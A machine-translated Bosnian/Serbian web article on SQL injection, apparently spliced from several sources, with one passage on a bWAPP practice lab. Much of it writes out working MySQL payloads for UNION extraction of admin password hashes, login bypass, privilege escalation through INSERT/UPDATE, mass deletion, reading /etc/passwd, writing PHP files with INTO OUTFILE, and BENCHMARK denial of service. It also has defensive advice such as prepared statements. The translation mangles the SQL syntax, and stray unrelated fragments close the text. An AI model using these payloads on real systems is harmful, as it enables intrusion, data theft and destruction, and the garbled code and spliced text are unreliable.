Sql injekcija. Šta je to? Kako saznati verzije MySQL-a

Nepažnja i nepažnja su dva razloga za pisanje koda koji je ranjiv na SQL injekcije. Treći razlog – neznanje, trebalo bi da podstakne programera da produbi svoje znanje ili čak promeni profesiju.

SQL injekcija ( SQL injekcija) - ranjivost koji nastaje zbog nedovoljne provjere i obrade podataka, koji se prenose od korisnika, i omogućava vam da modificirate i izvršavate upite neočekivane za SQL programski kod.

SQL injekcija je široko rasprostranjena sigurnosna greška na Internetu koja se lako iskorištava bez posebnih programa i ne zahtijeva opsežno tehničko znanje. Iskorištavanje ove ranjivosti otvara vrata velikim mogućnostima kao što su:

  • krađa podataka - 80%;
  • uskraćivanje usluge - 10 posto;
  • zamjena ili uništavanje podataka - 2-3%;
  • drugim slučajevima i namjerama.

Postoje i razni programi za testiranje sigurnosti web stranice za sve vrste JS i SQL injekcija.

Detaljno objašnjenje

U ovom članku pokušaću da objasnim glavne rizike koji nastaju pri interakciji sa MySQL bazom podataka. Radi jasnoće, dat ću primjer jednostavne strukture baze podataka, koja je tipična za većinu projekata:

CREATE DATABASE `news`; KORISTI `vijesti`; # # tabela vijesti # CREATE TABLE `vijesti` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) default NULL, `date` datum i vrijeme default NULL, `tekst` tekst, PRIMARNI KLJUČ (`id` )) TYPE=MyISAM; # # dodajte neke podatke # INSERT `news` SET `id`="1", `title`="prva vijest", `date`="2005-06-25 16:50:20", `text`=" tekst vijesti"; INSERT `news` SET `id`="2", `title`="druga vijest", `date`="2005-06-24 12:12:33", `text`="test vijesti"; # # korisnička tabela # CREATE TABLE `korisnici` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `password` varchar(50) default NULL, `admin` int(1) NULL DEFAULT "0", PRIMARNI KLJUČ (`id`)) TYPE=MyISAM; # # dodajte nekoliko korisnika, jedan sa administratorskim pravima, drugi jednostavan # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 " ; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

Vidimo da je zahtjev generiran ovisno o vrijednosti $_GET["id"]. Da biste provjerili prisutnost ranjivosti, dovoljno je promijeniti je u vrijednost koja može uzrokovati grešku u izvršavanju SQL upita.

Naravno, možda neće biti izlaza greške, ali to ne znači da nema greške, kao rezultat

“Imate grešku u vašoj SQL sintaksi; provjerite priručnik koji odgovara verziji vašeg MySQL servera za pravu sintaksu za korištenje u blizini """ u redu 1"

ili rezultat

http://test.com/index.php?id=2-1

ako postoji ranjivost, ona bi trebala proizvesti sličan rezultat

http://test.com/index.php?id=1.

Slične ranjivosti dozvoliti da izmijenite zahtjev u dijelu parametara WHERE. Prva stvar koju će napadač učiniti kada se otkrije takva ranjivost je da ispita koliko polja se koristi u zahtjevu. Da bi se to postiglo, namerno netačan id se postavlja da isključi izlaz stvarnih informacija i kombinuje se sa zahtevom sa istim brojem praznih polja.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

broj "null" mora odgovarati broju polja koja se koriste u zahtjevu.

Ako upit dovede do greške, dodaje se još jedna prazna vrijednost dok greška ne nestane i dok se ne vrati rezultat s praznim podacima. Zatim se kombinirana polja zamjenjuju vrijednostima koje se mogu vizualno uočiti na stranici.

Na primjer:

http://test.com/index.php?id=-1+UNION+SELECT+null

Sada će se na stranici na kojoj je trebao biti prikazan naslov vijesti pojaviti qwerty.

Kako saznati MySQL verzije?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Kako dohvatiti prijavu trenutnog korisnika baze podataka?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Kako se zove baza podataka koja se koristi?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Kako dobiti druge podatke iz drugih tabela?

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

Ovo je jednostavan način da saznate lozinku ili hash lozinke administratora. Ako trenutni korisnik ima prava pristupa bazi podataka “mysql”, napadač će bez ikakvih problema dobiti hash administratorske lozinke.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Sada je njegov izbor samo pitanje vremena.

Traži

Pretraživanje je jedno od najranjivijih mjesta, jer se istovremeno prenosi veliki broj parametara upita. Primjer jednostavnog upita koji pretražuje po ključnoj riječi:

ODABERITE * IZ `vijesti` GDJE `naslov` KAO "%$search%" ILI `tekst` KAO "%$search%"

$search je riječ koja se šalje iz obrasca. Napadač može proslijediti $search="# u varijablu, sada će zahtjev izgledati ovako:

ODABERITE * IZ `vijesti` GDJE `naslov` KAO "%"#%" ILI `tekst` KAO "%"#%";

Shodno tome, umjesto rezultata pretraživanja za ključnu riječ, bit će prikazani svi podaci. Ovo vam također omogućava da koristite gore opisanu funkciju agregacije upita.

Korištenje parametra ORDER

Često možete vidjeti da prilikom unosa parametara pretraživanja ili prikaza informacija oni omogućavaju korisniku da sortira podatke prema određenim poljima. Odmah ću reći da korištenje ove ranjivosti nije previše opasno, jer će uzrokovati grešku pri pokušaju kombiniranja zahtjeva, ali u kombinaciji sa ranjivostima u drugim poljima postoji opasnost od komentarisanja ovog parametra.

http://test.com/index.php?sort=name

parametar ORDER se formira u zavisnosti od varijable $sort

Biće generisan sledeći zahtev:

ODABERITE * IZ `vijesti` GDJE `naslov` LIKE "%"/*%" ILI `tekst` LIKE "%"/*%" POREDAJ PO */

čime se komentariše jedan od uslova i parametar ORDER

Sada možete ponovo kombinovati upit tako što ćete dodeliti $sort=*/ UNION SELECT...

Kao opcija za iskorištavanje ranjivosti ovog parametra:

SELECT * FROM `korisnika` ORDER BY LENGTH(password);

Omogućit će vam sortiranje korisnika ovisno o dužini lozinke, pod uvjetom da je sačuvana u „čistom“ obliku.

Autorizacija

Pokušajmo sada razmotriti opcije za SQL injekcije koje se javljaju tokom autorizacije korisnika. Tipično, zahtjev koji provjerava ispravnost podataka o autorizaciji izgleda ovako:

SELECT * FROM `users` WHERE `login`="$login" I `password`="$password";

gdje su $login i $password varijable koje se prosljeđuju iz obrasca. Takav upit vraća podatke za korisnika ako je uspješan, a prazan rezultat ako nije uspio. U skladu s tim, da bi prošao autorizaciju, napadač treba samo da izmijeni zahtjev tako da vrati rezultat koji nije nula. Navedena je prijava koja odgovara stvarnom korisniku, a umjesto lozinke, " ILI "1"="1" ili neki tačan uslov (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 IZMEĐU 1 I 3). Shodno tome, zahtjev će biti generiran na sljedeći način:

SELECT * FROM `users` GDJE `login`="admin" I `password`="" ILI "1"="1";

koji će vratiti rezultat i kao rezultat toga dovesti do neovlaštene autorizacije. Šta ako su lozinke u tabeli heširane? Tada je provjera lozinke jednostavno „onemogućena“ komentarisanjem svega što dolazi nakon `login`. U obrascu, umjesto prijave, dodjeljuje se prijava pravog korisnika i "# na taj način komentariše provjeru lozinke.

SELECT * FROM `users` GDJE `login`="admin"#" I `password`="12345"

kao opcija "ILI `id`=2#

ODABERITE * IZ `korisnika` GDJE `login`="" ILI `id`=2#" I `lozinka`="12345"

ODABERITE * IZ `korisnika` GDJE `login`="" ILI `admin`="1"#" I `lozinka`="12345"

Velika greška je provjera lozinke ovako:

SELECT * FROM `users` GDJE `login`="$login" I `password` KAO "$password"

pošto je u ovom slučaju lozinka % prikladna za bilo koju prijavu

INSERT & UPDATE

Međutim, nisu samo SELECT slaba točka u SQL-u. INSERT i UPDATE ne mogu biti ništa manje ranjivi. Recimo da stranica ima mogućnost registracije korisnika. Upit koji dodaje novog korisnika:

Ranjivost u jednom od polja omogućava da se zahtjev izmijeni potrebnim podacima. U polje za prijavu dodajemo korisnika", "lozinku", 1)# i time dodajemo korisnika sa administratorskim pravima.

INSERT `users` SET `login`="user", `password`="password", `admin`="0";

Pretpostavimo da se polje `admin` nalazi prije polja `login`, tako da trik zamjene podataka koji dolaze nakon polja `login` ne funkcionira. Podsjetimo da sintaksa naredbe INSERT omogućava dodavanje ne samo jednog reda, već nekoliko. Primjer ranjivosti u polju za prijavu: $login= user", "password"), (1, "hacker", "password")#

INSERT IN TO `users` SET (`admin`, `login`, `password`) VRIJEDNOSTI (0, "user", "password"), (1, "hacker", "password")#", "password") ;

Na ovaj način se kreiraju 2 unosa, jedan sa pravima jednostavnog korisnika, drugi sa željenim administratorskim pravima.

Slična situacija sa UPDATE

Dodavanje dodatnih polja za promjenu:

$login=", `password`="", `admin`="1

Zatim sličan zahtjev

UPDATE `users` SET `login`="čajnik" GDJE `id`=2;

Izmijenjeno kako slijedi:

UPDATE `users` SET `login`="", `password`="", `admin`="1" GDJE `id`=2;

Šta će se desiti? Korisnik sa ID 2 će promijeniti login i lozinku na prazne vrijednosti i dobiti administratorska prava. Ili u slučaju

$login=", `password`="" GDJE `id` =1#

Administratorska prijava i lozinka će biti prazni.

IZBRIŠI

Ovdje je sve jednostavno, nećete moći dobiti niti promijeniti nikakve podatke, ali uvijek ste dobrodošli da izbrišete nepotrebne podatke.

$id=1 ILI 1=1

IZBRIŠI IZ `vijesti` GDJE `id`="1" ILI 1=1; // briše sve unose u tabeli.

Umjesto 1=1 može postojati bilo koji tačan uvjet koji je gore spomenut. Parametar LIMIT se može sačuvati, što će ograničiti broj izbrisanih linija, ali ne uvijek, može se jednostavno komentirati.

IZBRIŠI IZ `vijesti` GDJE `id`="1" ILI 1=1# OGRANIČENJE 1;

Rad sa datotekama putem SQL injekcije

Ozbiljno sumnjam da se to igdje može dogoditi, ali da budem iskren, i takve metode treba opisati. Kada su privilegije datoteka omogućene, možete koristiti naredbe LOAD_FILE i OUTFILE.

O njihovoj opasnosti može se procijeniti na osnovu upita u nastavku:

SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Ali svim nevoljama tu još nije kraj.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` u outfile "/home/test/www/test.php";

Ovako pišemo datoteku koja sadrži PHP kod. Istina, osim koda, u njemu će biti još nekoliko nultih unosa, ali to ni na koji način neće uticati na performanse PHP koda. Međutim, postoji nekoliko uslova zbog kojih će ove metode funkcionirati:

  • Privilegija FILE je omogućena za trenutnog korisnika baze podataka;
  • Prava za čitanje ili pisanje ovih datoteka su za korisnika pod kojim je MySQL server pokrenut; apsolutna putanja do datoteke;
  • manje važan uslov je da veličina datoteke mora biti manja od max_allowed_packet, ali pošto u MySQL 3.23 najveća veličina paketa može biti 16 MB, au 4.0.1 i više, veličina paketa je ograničena samo količinom dostupne memorije, do teorijskog maksimuma od 2 GB ovaj uslov je obično uvijek dostupan.

Magični citati

Čarobni navodnici onemogućavaju korištenje SQL injekcija u string varijablama, jer automatski izbjegavaju sve " i " koje dolaze s $_GET i $_POST. Ali to se ne odnosi na korištenje ranjivosti u cjelobrojnim ili frakcijskim parametrima, iako s izuzetkom što neće biti moguće koristiti ". U ovom slučaju pomaže funkcija char.

SELECT * IZ `vijesti` GDJE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS putem SQL injekcije.

Skoro sam zaboravio reći, a SQL stručnjaci će potvrditi, da je UNION operacija moguća samo u MySQL >=4.0.0. Ljudi koji imaju projekte na prethodnim verzijama odahnuli su :) Ali nije sve tako sigurno kao što izgleda na prvi pogled. Ponekad je teško pratiti logiku napadača. "Ako ne mogu hakirati, barem ću uspjeti", pomislit će haker, ukucavajući funkciju BENCHMARK za primjer zahtjeva

SELECT * IZ `vijesti` GDJE `id`=BENCHMARK(1000000,MD5(SADA()));

Trebalo mi je od 12 do 15 sekundi. Dodavanje nule - 174 sekunde. Jednostavno nisam mogao da podignem ruku da uradim više. Naravno, na moćnim serverima takve stvari će se raditi mnogo brže, ali...BENCHMARK vam omogućava da uložite sebe jednu po jednu. Volim ovo:

SELECT * IZ `vijesti` GDJE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(SADA())));

Ili čak ovako

SELECT * IZ `vijesti` GDJE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(SADA()))));

A broj nula je ograničen samo „ljubaznošću“ onoga ko ih ukuca.

Mislim da čak ni VEOMA moćna mašina neće moći lako da proguta takve zahteve.

Zaključak

To je sve. U ovom članku pokušao sam da pokrijem što je više moguće vrste ranjivosti koje programeri prave prilikom kreiranja programa koristeći MySQL baze podataka. Međutim, više sam nego siguran da ovo nije potpuna lista.

Važno je zapamtiti pravila protiv SQL injekcija

  • Ne vjerujte BILO KOJIM podacima koji dolaze od korisnika. Ne govorimo samo o podacima koji se prenose u nizovima $_GET i $_POST. Ne zaboravite na $_COOKIE i druge dijelove HTTP zaglavlja. Imajte na umu da ih je lako zamijeniti.
  • Ne biste se trebali oslanjati na PHP opciju “magic quotes”, koja vjerovatno više smeta nego što pomaže. Svi podaci koji se prenose u bazu podataka moraju biti sažeti po tipu sa poljima baze podataka. ($id=(int)$_GET["id"]) ili zaštićen funkcijama mysql_real_escape_string ili mysql_real_escape_string.
  • mysql_real_escape_string ne izbjegava % i _, tako da se ne bi trebao koristiti zajedno sa LIKE.
  • Ne biste se trebali previše oslanjati na ispravno napisan mod_rewrite. Ovo su samo načini za kreiranje “prikladnih” URL-ova, ali svakako ne i način zaštite od SQL injekcija.
  • Onemogući prijavljivanje grešaka.
  • Ne pomagajte lošim posjetiocima. Čak i ako se greška identificira, nedostatak informacija o njoj ozbiljno će ometati njenu primjenu. Zapamtite razliku između faze razvoja i radnog nacrta. Izlaz greške i druge detaljne informacije - vaš saveznik u fazi razvoja, i saveznik napadača u radnoj verziji. Također ih ne biste trebali skrivati ​​komentarisanjem u HTML kodu; na svakih 1000 posjetitelja bit će 1 koji će i dalje pronaći takve stvari.
  • Rukovati greškama.
  • Napišite obradu SQL upita na način da se informacije o njima pohranjuju u neke dnevnike ili šalju poštom.
  • Nemojte skladištiti podatke o pristupu bazi podataka u fajlovima koje PHP ne obrađuje kao kod.
  • Mislim da nisam nikome otkrio Ameriku, ali iz vlastitog iskustva mogu reći da je ova praksa prilično česta. Obično je ovo datoteka sa ekstenzijom *.inc
  • Nemojte kreirati bazu podataka "super korisnik".
  • Dodijelite samo prava potrebna za obavljanje određenih zadataka.
  • U pretrazi vrijedi ograničiti minimalni i maksimalni broj znakova, koji su parametri upita.
  • Poštenom korisniku je dovoljno od 3 do 60-70 karaktera da zadovolje interese za pretragu, a istovremeno sprečavate situacije kada će upit za pretragu biti sveska „Rat i mir“.
  • Uvijek provjerite broj zapisa vraćenih nakon upita

Skoro 90% sajtova je napisano na PHP-u Postoji takva logička greška, to se posebno može primetiti kada se napravi zahtev na osnovu ID-a primljenog od korisnika.Ako ručno date skripti nepostojeći ID, videćemo prilično zanimljive rezultate iz rada nekih skripti , umjesto da vrati 404, program u najboljem slučaju neće učiniti ništa i prikazat će se na praznu stranicu.

Siguran SQL za vas.

Broj web stranica i stranica na Internetu stalno raste. Svi koji mogu preuzimaju razvoj. A web programeri početnici vrlo često koriste nesiguran i stari kod. I to stvara mnogo rupa u zakonu za napadače i hakere. To je ono što oni koriste. Jedna od najklasičnijih ranjivosti je SQL injekcija.

Malo teorije

Mnogi ljudi znaju da većina web lokacija i usluga na Internetu koristi SQL baze podataka za njihovo pohranjivanje. Ovo je strukturirani jezik upita koji vam omogućava da upravljate i administrirate skladišta podataka. Postoji mnogo različitih verzija sistema za upravljanje bazama podataka - Oracle, MySQL, Postgre. Bez obzira na naziv i tip, oni koriste upite podataka na isti način. Tu leži potencijalna ranjivost. Ako programer nije mogao ispravno i sigurno obraditi zahtjev, napadač može iskoristiti ovu prednost i koristiti posebne taktike za pristup bazi podataka, a odatle i kontrolu nad cijelom web lokacijom.

Da biste izbjegli takve situacije, potrebno je pravilno optimizirati kod i pažljivo pratiti koji zahtjev se na koji način obrađuje.

Provjera SQL injekcija

Da bi se utvrdilo prisustvo ranjivosti u mreži, postoji mnogo gotovih automatizovanih softverskih sistema. Ali jednostavnu provjeru možete izvršiti ručno. Da biste to učinili, morate otići na jednu od lokacija koje istražujete i pokušati pokrenuti grešku baze podataka u adresnoj traci. Na primjer, skripta na web stranici možda neće obraditi zahtjeve i možda ih neće prekinuti.

Na primjer, postoji određena_site/index.php?id=25

Najlakši način je da stavite ponudu nakon 25 i pošaljete zahtjev. Ako ne dođe do greške, tada se ili svi zahtjevi filtriraju na stranici i pravilno obrađuju ili je njihov izlaz onemogućen u postavkama. Ako se stranica ponovo učitava s problemima, to znači da postoji ranjivost za SQL injekciju.

Kada se otkrije, možete ga se pokušati riješiti.

Da biste implementirali ovu ranjivost, morate znati nešto o jednoj od njih je UNION. Kombinira više rezultata upita u jedan. Na ovaj način možete izračunati broj polja u tabeli. Primjer prvog zahtjeva izgleda ovako:

  • some_site/index.php?id=25 UNION SELECT 1.

U većini slučajeva, takav unos bi trebao generirati grešku. To znači da broj polja nije jednak 1. Dakle, odabirom opcija od 1 i više, možete postaviti njihov tačan broj:

  • some_site/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

Odnosno, kada se greška prestane pojavljivati, to znači da je broj polja tačan.

Postoji i alternativno rješenje za ovaj problem. Na primjer, kada je broj polja velik - 30, 60 ili 100. Ovo je naredba GROUP BY. Grupira rezultate upita prema nekim karakteristikama, na primjer id:

  • some_site/index.php?id=25 GRUPA PO 5.

Ako nije primljena nijedna greška, to znači da postoji više od 5 polja. Dakle, zamjenom opcija iz prilično širokog raspona, možete izračunati koliko ih zaista ima.

Ovaj primjer SQL injekcije je za početnike koji žele da se okušaju u testiranju svoje web stranice. Važno je zapamtiti da postoji član Krivičnog zakona za neovlašteni pristup tuđoj imovini.

Glavne vrste injekcija

Postoji nekoliko opcija za implementaciju ranjivosti putem SQL injekcije. Najpopularnije metode su sljedeće:

    UNION injekcija. Jednostavan primjer ove vrste je već razmotren gore. Implementirana je zbog greške u provjeri dolaznih podataka, koji se ni na koji način ne filtriraju.

    SQL injekcija zasnovana na grešci. Kao što ime sugerira, ovaj tip također iskorištava greške tako što šalje izraze koji su sintaktički neispravni. Zatim se zaglavlja odgovora presreću, analiziraju koja se mogu kasnije koristiti za izvođenje SQL injekcije.

    Stacked injekcija. Ova ranjivost je određena izvršavanjem uzastopnih zahtjeva. Karakterizira ga dodavanje “;” na kraju. Ovaj pristup se najčešće primjenjuje za pristup implementaciji čitanja i pisanja podataka, ili za kontrolu funkcija operativnog sistema ako to dozvoljavaju privilegije.

Softverski sistemi za traženje SQL ranjivosti

Dostupni za izvođenje SQL injekcija, programi obično imaju dvije komponente - skeniranje web mjesta u potrazi za mogućim ranjivostima i njihovo korištenje za pristup podacima. Postoje takvi uslužni programi za gotovo sve poznate platforme. Njihova funkcionalnost uvelike olakšava provjeru stranice na mogućnost hakovanja pomoću SQL injekcije.

Sqlmap

Vrlo moćan skener koji radi sa većinom poznatih DBMS-ova. Podržava različite tehnike SQL injektiranja. Ima mogućnost da automatski prepozna tip hash lozinke i razbije ga pomoću rječnika. Tu je i funkcionalnost za preuzimanje i upload datoteka sa servera.

Instalacija u Linux okruženju se izvodi pomoću naredbi:

  • git klon https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --čarobnjak.

Za Windows postoji i komandna linija i opcija grafičkog korisničkog interfejsa.

jSQL Injection

jSQL Injection je višeplatformski alat za testiranje eksploatacije SQL ranjivosti. Napisano u Javi, tako da JRE mora biti instaliran na sistemu. Mogućnost obrade zahtjeva za zaglavljem i kolačićima. Ima zgodan grafički interfejs.

Instalacija ovog softverskog paketa se odvija na sljedeći način:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| head-n 1`

Pokrenite pomoću naredbe java -jar ./jsql-injection-v*.jar

Da biste započeli provjeru stranice na SQL ranjivosti, potrebno je da unesete njenu adresu u gornje polje. Oni su odvojeni za GET i za POST. Ako je rezultat pozitivan, u lijevom prozoru će se pojaviti lista dostupnih tabela. Možete ih pogledati i saznati neke povjerljive informacije.

Za traženje administrativnih panela koristite karticu „Administratorska stranica“. Automatski traži sistemske zapise privilegiranih korisnika koristeći posebne šablone. Od njih možete dobiti samo hash lozinke. Ali to je također dostupno u programskim alatima.

Nakon pronalaženja svih ranjivosti i ubrizgavanja potrebnih zahtjeva, uslužni program će vam omogućiti da otpremite svoju datoteku na server ili, obrnuto, da je preuzmete odatle.

SQLi Dumper v.7

Ovaj program je alat koji se lako koristi za pronalaženje i implementaciju ranjivosti u SQL-u. UN to proizvode na osnovu tzv. Njihove liste se mogu naći na internetu. Ključne riječi SQL injekcije su posebni obrasci upita za pretraživanje. Uz njihovu pomoć potencijalno ih možete pronaći putem bilo kojeg pretraživača.

Alati za obuku

Stranica itsecgames.com ima poseban skup alata koji vam omogućava da koristite primjere da pokažete kako napraviti SQL injekciju i testirati je. Da biste ga koristili, morate ga preuzeti i instalirati. Arhiva sadrži skup fajlova koji predstavljaju strukturu sajta. Da biste ga instalirali, biće vam potreban set Apache, MySQL i PHP web servera dostupnih u sistemu.

Nakon što raspakujete arhivu u folder web servera, potrebno je da odete na adresu unetu prilikom instaliranja ovog softverskog proizvoda. Stranica za registraciju korisnika će se otvoriti. Ovdje trebate unijeti svoje podatke i kliknuti na “Kreiraj”. Nakon prebacivanja korisnika u novi prozor, sistem će ponuditi odabir jedne od opcija testiranja. Među njima su i opisane injekcije i mnogi drugi testni zadaci.

Vrijedi pogledati primjer SQL injekcije kao što je GET/Search. Ovdje ga trebate odabrati i kliknuti na "Hak". Korisniku će se prikazati traka za pretraživanje i imitacija određene stranice sa filmovima. Možete dugo gledati kroz filmove. Ali ima ih samo 10. Na primjer, možete pokušati ući u Iron Man. Film će biti prikazan, što znači da sajt radi i da se u njemu nalaze tabele. Sada moramo provjeriti da li skripta filtrira posebne znakove, posebno citat. Da biste to uradili, morate dodati "" u adresnu traku. Štaviše, to se mora uraditi iza naziva filma. Stranica će prikazati grešku Greška: Imate grešku u vašoj SQL sintaksi; provjerite priručnik koji odgovara na verziju vašeg MySQL servera za ispravnu sintaksu za korištenje blizu "%"" u redu 1, što ukazuje da se znakovi još uvijek pogrešno obrađuju. To znači da možete pokušati zamijeniti svoj zahtjev. Ali prvo morate izračunati broj polja. Da biste to uradili, koristite order by, koji se unosi nakon citata: http://testsites.com/sqli_1.php?title=Iron+Man" order by 2 --&action=search.

Ova komanda će jednostavno prikazati informacije o filmu, to jest, broj polja je veći od 2. Dvostruka crtica govori serveru da druge zahtjeve treba odbaciti. Sada morate ponavljati, zamjenjujući sve veće vrijednosti dok se ne prikaže greška. Kao rezultat toga, ispada da će biti 7 polja.

Sada je vrijeme da dobijete nešto korisno iz baze podataka. Morat ćete malo izmijeniti zahtjev u adresnoj traci, dovodeći ga u ovaj oblik: http://testsites.com/sqli_1.php?title=Iron+Man" union select 1, database(),user(),4 ,password,6, 7 od korisnika --&action=search.Kao rezultat njegovog izvršenja biće prikazane linije sa hešovima lozinki koje se lako mogu konvertovati u razumljive znakove pomoću nekog od online servisa.I uz malo magije i odabirom imena polja za prijavu, možete dobiti pristup tuđem zapisu, na primjer, administratoru stranice.

Proizvod ima tonu različitih vrsta injekcija za vježbanje. Vrijedi zapamtiti da korištenje ovih vještina na mreži ili na stvarnim stranicama može biti krivično kažnjivo.

Injekcije i PHP

Po pravilu, PHP kod je odgovoran za neophodnu obradu zahtjeva koji dolaze od korisnika. Stoga je na ovom nivou potrebno izgraditi zaštitu od SQL injekcija u PHP-u.

  • Podaci se uvijek moraju obraditi prije nego što se pohrane u bazu podataka. Ovo se može postići korištenjem postojećih izraza ili ručnim organiziranjem upita. I ovdje je vrijedno uzeti u obzir da se numeričke vrijednosti pretvaraju u tip koji je potreban;
  • Izbjegnite pojavu različitih kontrolnih struktura u zahtjevu.

Sada malo o pravilima za sastavljanje upita u MySQL-u radi zaštite od SQL injekcija.

Kada pišete bilo koji izraz upita, važno je odvojiti podatke od SQL ključnih riječi.

  • SELECT * IZ tablice WHERE naziv = Zerg.

U ovom dizajnu, sistem može misliti da je Zerg ime polja, pa ga treba staviti u navodnike.

  • SELECT * FROM table WHERE name = "Zerg".

Međutim, postoje situacije u kojima sama vrijednost sadrži navodnike.

  • SELECT * FROM table WHERE naziv = "Obala Slonovače".

Ovdje će samo dio cat-d biti obrađen, a ostatak se može shvatiti kao naredba, koja, naravno, ne postoji. Stoga će doći do greške. To znači da ovakvu vrstu podataka treba provjeriti. Da biste to učinili, koristite obrnutu kosu crtu - \.

  • SELECT * FROM table WHERE naziv = "Obala Slonovače".

Sve gore navedeno se odnosi na nizove. Ako se radnja dogodi s brojem, tada joj nisu potrebni navodniki ili kose crte. Međutim, oni moraju biti prisiljeni da se konvertuju u traženi tip podataka.

Postoji preporuka da se naziv polja stavi u zadnji navodnik. Ovaj simbol se nalazi na lijevoj strani tastature, zajedno sa znakom tilde "~". Ovo je neophodno kako bi MySQL mogao precizno razlikovati ime polja od njegove ključne riječi.

Dinamičan rad sa podacima

Vrlo često se dinamički generirani upiti koriste za dobivanje bilo kakvih podataka iz baze podataka. Na primjer:

  • SELECT * FROM table WHERE broj = "$broj".

Ovdje se varijabla $number prosljeđuje kao definicija vrijednosti polja. Šta će se dogoditi ako Obala Slonovače uđe u to?

Naravno, ovu nevolju možete izbjeći uključivanjem "magičnih navodnika" u postavkama. Ali sada će se podaci provjeravati gdje je potrebno i gdje nije potrebno. Osim toga, ako je kod napisan rukom, onda možete potrošiti malo više vremena na kreiranje sistema otpornog na hake.

Da sami dodate kosu crtu, možete koristiti mysql_real_escape_string.

$broj=mysql_real_escape_string($broj);

$year=mysql_real_escape_string($year);

$query="INSERT INTO table (broj,godina,klasa) VALUES ("$number","$year",11)".

Iako se broj koda povećao, i dalje će potencijalno raditi mnogo sigurnije.

Placeholders

Placeholderi su jedinstveni markeri po kojima sistem zna da na ovo mjesto treba umetnuti posebnu funkciju. Na primjer:

$sate = $mysqli->prepare("IZABERI distrikt IZ broja GDJE Ime=?");

$sate->bind_param("s", $broj);

$sate->execute();

Ovaj dio koda priprema predložak zahtjeva, zatim povezuje brojčanu varijablu i izvršava je. Ovaj pristup vam omogućava da odvojite obradu zahtjeva i njegovu implementaciju. Na ovaj način možete se zaštititi od ubacivanja zlonamjernog koda u SQL upite.

Šta napadač može učiniti?

Zaštita sistema je veoma važan faktor koji se ne može zanemariti. Naravno, jednostavnu web stranicu sa vizit kartama će biti lakše vratiti. Šta ako je to veliki portal, servis, forum? Kakve posljedice mogu biti ako ne razmišljate o sigurnosti?

Prvo, haker može narušiti i integritet baze podataka i potpuno je izbrisati. A ako administrator stranice ili hoster nije napravio sigurnosnu kopiju, to će biti teško. Osim toga, napadač, nakon što je hakovao jednu stranicu, može preći na druge koje se nalaze na istom serveru.

Slijedi krađa ličnih podataka posjetitelja. Kako ih koristiti ograničeno je samo maštom hakera. Ali u svakom slučaju, posljedice neće biti baš prijatne. Pogotovo ako je sadržavao finansijske informacije.

Napadač također može sebi procuriti bazu podataka i potom iznuditi novac za njen povratak.

Negativne posljedice mogu imati i dezinformacije korisnika u ime osobe koja to nisu, jer su mogući slučajevi prevare.

Zaključak

Sve informacije u ovom članku date su samo u informativne svrhe. Trebali biste ga koristiti samo za testiranje vlastitih projekata kada identificirate ranjivosti i eliminirate ih.

Za detaljnije proučavanje metodologije kako da izvršite SQL injekciju, morate početi tako što ćete zapravo istražiti mogućnosti i karakteristike SQL jezika. Kako se sastavljaju upiti, ključne riječi, tipovi podataka i primjena svega toga.

Također ne možete bez razumijevanja kako funkcioniraju PHP funkcije i HTML elementi. Glavne ranjive tačke za korištenje injekcija su adresna traka, pretraga i različita polja. Proučavanje PHP funkcija, načina na koji se implementiraju i njihovih mogućnosti pomoći će vam da shvatite kako možete izbjeći greške.

Prisutnost mnogih gotovih softverskih alata omogućava vam da izvršite dubinsku analizu stranice na poznate ranjivosti. Jedan od najpopularnijih proizvoda je kali linux. Ovo je slika operativnog sistema zasnovanog na Linuxu, koji sadrži veliki broj uslužnih programa i programa koji mogu sprovesti sveobuhvatnu analizu lokacije na snagu.

Zašto trebate znati kako hakovati web stranicu? Sve je vrlo jednostavno - ovo je neophodno kako biste imali ideju o potencijalno ranjivim područjima vašeg projekta ili web stranice. Pogotovo ako se radi o online prodavnici s mogućnošću plaćanja putem interneta, gdje napadač može kompromitirati podatke o plaćanju korisnika.

Za profesionalna istraživanja, službe informacione sigurnosti moći će provjeriti stranicu prema različitim kriterijima i dubinama. Počevši od jednostavne HTML injekcije do društvenog inženjeringa i phishinga.

Želimo vam uspjeh u realizaciji. Rezultati vašeg prolaska će biti naknadno objavljeni (pratite vijesti na društvenim mrežama), a svima koji su prošli bit će poslata i poruka pozvati da se registrujete na sajtu.

Lajkujte, podijelite sa prijateljima i kolegama, repostirajte na društvenim mrežama.

Svi programeri su čitali ili barem čuli o metodama za hakovanje sigurnosti web stranice. Ili čak naišao na ovaj problem. S druge strane, mašta onih koji žele da razbiju sajt je beskrajna, pa sva uska grla moraju biti dobro zaštićena. Zato bih želio započeti seriju kratkih članaka koji će predstaviti osnovne metode i tehnike hakovanja web stranica.

U prvom članku želio bih opisati i objasniti neke uobičajene metode za hakiranje jednog od najranjivijih dijelova stranice - obrazaca. Ući ću u detalje o tome kako koristiti ove tehnike i kako spriječiti napade, kao i pokriti sigurnosno testiranje.

SQL injekcija

